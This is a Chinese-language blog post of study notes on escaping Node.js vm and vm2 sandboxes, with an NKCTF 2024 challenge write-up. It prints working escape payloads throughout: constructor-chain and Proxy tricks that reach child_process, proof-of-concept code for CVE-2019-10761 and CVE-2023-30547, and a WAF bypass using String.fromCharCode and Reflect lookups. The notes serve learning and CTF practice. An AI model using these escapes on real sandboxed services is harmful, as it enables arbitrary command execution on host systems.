VM/VM2沙箱逃逸笔记

admin 2024年3月27日23:06:16评论4 views字数 9146阅读30分29秒阅读模式

什么是沙箱

沙箱就是我们开辟出的单独运行代码的环境,与主机相互隔离,从而使得代码并不会通过变量的污染等方式影响主机上的功能,提升安全性。

const vm = require('vm')
global.a = 100;
// 运行在当前环境中[当前作用域]
vm.runInThisContext('console.log(a)'); // 100
// 运行在新的环境中[其他作用域]
vm.runInNewContext('console.log(a)'); // a is not defined

在nodejs中我们引用vm和vm2模块来创建沙箱,不过其同docker一样存在逃逸风险。

vm模块使用

推荐看看官方文档:https://nodejs.cn/api/vm.html 下面我摘几个重要的看看 如刚刚那个例子:

vm.runInThisContext

可以访问到 global上的全局变量,但是访问不到自定义的变量。

vm.runInNewContext

访问不到 global,也访问不到自定义变量,他存在于一个全新的执行上下文。

下面再看几个姿势

vm.createContext([sandbox])

直接看官方例子:

const util = require('util');
const vm = require('vm');
global.globalVar = 3;
const sandbox = { globalVar: 1 };
vm.createContext(sandbox);
vm.runInContext('globalVar *= 2;', sandbox);
console.log(util.inspect(sandbox)); // { globalVar: 2 }
console.log(util.inspect(globalVar)); // 3

给定一个sandbox对象, vm.createContext()会设置此sandbox,从而让它具备在vm.runInContext()或者script.runInContext()中被使用的能力 如果未提供sandbox(或者传入undefined),那么会返回一个全新的,空的,上下文隔离化后的sandbox对象。

vm.runInContext(code, contextifiedSandbox[, options])

vm.runInContext()在指定的contextifiedSandbox的上下文里执行vm.Script对象中被编译后的代码并返回其结果。被执行的代码无法获取本地作用域。contextifiedSandbox必须是事先被vm.createContext()上下文隔离化过的对象。

const util = require('util');
const vm = require('vm');
const sandbox = {
animal: 'cat',
count: 2
};
const script = new vm.Script('count += 1; name = "kitty";');
const context = vm.createContext(sandbox);
for (let i = 0; i < 10; ++i) {
script.runInContext(context);
}
console.log(util.inspect(sandbox));
// { animal: 'cat', count: 12, name: 'kitty' }

vm.Script

vm.Script 类的实例包含可以在特定上下文中执行的预编译脚本。

new vm.Script(code[, options])

创建新的 vm.Script 对象编译 code 但不运行它。编译后的 vm.Script 可以多次运行。code 没有绑定到任何全局对象;相反,它在每次运行之前绑定,仅针对该运行。

const util = require('util');
const vm = require('vm');
const sandbox = {
animal: 'cat',
count: 2
};
const script = new vm.Script('count += 1; name = "kitty";');
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log(util.inspect(sandbox));
// { animal: 'cat', count: 3, name: 'kitty' }

VM逃逸

基本思路

Node里要进行rce就需要procces,获取到process对象后我们就可以用require来导入child_process,再利用child_process执行命令。但是如果creatContext后,就不能访问全局变量的procces,所以逃逸的核心就是将global上的process引入到沙箱中。 这里面有一些原型污染的思想在里面,我们看两个经典POC:

vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
this对象指的是传进来的上下文对象本身,事实上这个对象并不属于沙箱环境(因为它是在外面创建的)
this.constructor [Function: Object]可以获取当前对象的构造函数,也就是 Function 对象。
this.constructor.constructor [Function: Function]可以进一步获取 Function 对象的构造函数,也就是 Function 构造函数本身。
利用 Function 构造函数,我们可以动态创建一个新的函数
vm.runInNewContext(`this.toString.constructor('return process')()`);
this.toString 可以获取当前对象的 toString() 方法。
this.toString.constructor 可以获取 toString() 方法的构造函数,也就是 Function 对象。
利用 Function 构造函数,我们可以动态创建一个新的函数
VM/VM2沙箱逃逸笔记

然后就能rce了

VM/VM2沙箱逃逸笔记

null_vm沙箱逃逸

this为null,通过函数内置对象属性arguments.callee.caller配合函数自动调用获取。

const vm = require('vm');
const script =
//立即执行的箭头函数表达式
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
//由于 toString() 方法是在沙箱环境中定义的,所以 caller 属性会指向沙箱外部的函数,这就是关键所在。
const p = (cc.constructor.constructor('return process'))();
//利用 constructor 属性,获取调用函数的构造函数,即 Function 构造函数。
return p.mainModule.require('child_process').execSync('whoami').toString()
//加载 child_process 模块,并执行 whoami 命令
}
return a
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
VM/VM2沙箱逃逸笔记

Proxy的利用

如果沙箱外没有执行字符串的相关操作来触发这个toString,并且也没有可以用来进行恶意重写的函数,我们可以用Proxy来劫持属性

先介绍下Proxy 和java有一些类似,但感觉nodejs的要更加生猛一些

let proxy = new Proxy(target, handler)
//target —— 是要包装的对象,可以是任何东西,包括函数。
//handler —— 代理配置:带有“钩子”(“traps”,即拦截操作的方法)的对象。
//比如 get 钩子用于读取 target 属性,set 钩子写入 target 属性等等。

看个例子

let numbers = [0, 1, 2];
numbers = new Proxy(numbers, {
get(target, prop) {
if (prop in target) {
return target[prop];
} else {
return 0; // 默认值
}
}
});
alert( numbers[1] ); // 1
alert( numbers[123] ); // 0 (没有这样的元素)

当我们访问数组对象属性,就会触发get

const vm = require("vm");
const script =
`(() =>{
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.zacarx)
VM/VM2沙箱逃逸笔记

异常抛出利用

类似于直接给了个

 vm.runInContext(script, vm.createContext(Object.create(null)));

无返回值这用情况,我们可以利用异常抛出:

const vm = require("vm");
const script =
` throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
console.log("error:" + e)
}

可以看出vm的安全性还是比较弱的,因此大部分人用的都是vm2

VM2逃逸

vm2相较于vm多了很多限制。其中之一就是引入了es6新增的proxy特性。增加一些规则来限制constructor函数以及__proto__这些属性的访问。proxy可以认为是代理拦截,编写一种机制对外部访问进行过滤或者改写。 vm2的代码包中主要有四个文件

  • cli.js 实现vm2的命令行调用

  • contextify.js 封装了三个对象, Contextify 和 Decontextify ,并且针对 global 的Buffer类进行了代理

  • main.js vm2执行的入口,导出了 NodeVM, VM 这两个沙箱环境,还有一个 VMScript 实际上是封装了 vm.Script

  • sadbox.js针对 global 的一些函数和变量进行了hook,比如 setTimeout,setInterval 等

当我们创建一个VM的对象的时候,vm2内部引入了 contextify.js,并且针对上下文 context 进行了封装,最后调用 script.runInContext(context) ,可以看到,vm2最核心的操作就在于针对context的封装。

VM/VM2沙箱逃逸笔记

下面是几个经典的案例

CVE-2019-10761

https://github.com/advisories/GHSA-wf5x-cr3r-xr77 通过无限递归达到堆栈调用限制,可以从主机而不是“沙盒”上下文触发 RangeError 异常。然后,返回的对象用于引用运行脚本的主机代码的 mainModule 属性,从而允许它生成 child_process 并执行任意代码。 3.6.11之前的vm2:

"use strict";
const {VM} = require('vm2');
const untrusted = `const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

沙箱逃逸说到底就是要从沙箱外获取一个对象,然后获得这个对象的constructor属性,这条链子获取沙箱外对象的方法是 在沙箱内不断递归一个函数,当递归次数超过当前环境的最大值时,我们正好调用沙箱外的函数,就会导致沙箱外的调用栈被爆掉,我们在沙箱内catch这个异常对象,就拿到了一个沙箱外的对象。

下面的cve与上面的类似

CVE-2023-30547

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

这个漏洞摘要说明了在 vm2 的版本直到 3.9.16 中存在一个异常处理不当的漏洞,攻击者可以利用这个漏洞在 handleException() 函数内部抛出一个未经过滤的宿主异常(host exception),用于逃离沙盒并在宿主环境中执行任意代码。

const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
//定义了异常 err 和一个代理处理程序 handler,其中 getPrototypeOf 方法会通过递归无限调用自己并产生错误的堆栈跟踪,这会导致 Maximum call stack size exceeded 异常
const proxiedErr = new Proxy(err, handler);
//使用 Proxy 对 err 进行代理,并尝试抛出 proxiedErr
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}

练习

2024 NKCTF

js的waf绕过确实了解的不是很多,之后再总结 看下大师傅是怎么绕的: https://blog.xmcve.com/2024/03/25/NKCTF-2024-Writeup/#title-5

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))
app.get('/', function (req, res){
res.sendFile(__dirname + '/public/home.html');
})
function waf(code) {
let pattern = /(process|[.*?]|exec|spawn|Buffer|\|+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}
app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})
app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})
app.listen(3000, ()=>{
console.log("listen on 3000");
})

vm逃逸,不难,主要是waf得费点心 这种题要本地调试好,不然环境很容易死 本地先把waf去了,看看能不能跑 这个代码刚才提过:

throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
VM/VM2沙箱逃逸笔记

process我们用String.fromCharCode 绕过

mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115))

https://www.anquanke.com/post/id/237032#h3-10

eval函数,可以首先通过Reflect.ownKeys(global)拿到所有函数

然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval

小trick,如果过滤了eval关键字,可以用includes('eva')来搜索eval函数,也可以用startswith('eva')来搜索

const b = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes(‘pro’))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));

然后调用集合中的键为process下面的mainModule.require(‘child_process’)的模块 Reflect.get(b, Reflect.ownKeys(b).find(x=>x.includes(‘ex’)))去找child_process底层的exec函数。 所以可以写成这样:

throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return global'))();
const b = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
return Reflect.get(b, Reflect.ownKeys(b).find(x=>x.includes('ex')))("calc");
}
})
VM/VM2沙箱逃逸笔记

参考链接

https://xz.aliyun.com/t/11859

https://www.nodeapp.cn/vm.html

https://juejin.cn/post/6844904090116292616

https://es6.ruanyifeng.com/?search=weakmap&x=0&y=0#docs/proxy

https://blog.csdn.net/qq_61839115/article/details/132120985#t6

https://blog.xmcve.com/2024/03/25/NKCTF-2024-Writeup/#title-5

https://www.anquanke.com/post/id/237032#h3-10

原文始发于微信公众号(Zacarx随笔):VM/VM2沙箱逃逸笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月27日23:06:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   VM/VM2沙箱逃逸笔记http://cn-sec.com/archives/2607120.html

发表评论

匿名网友 填写信息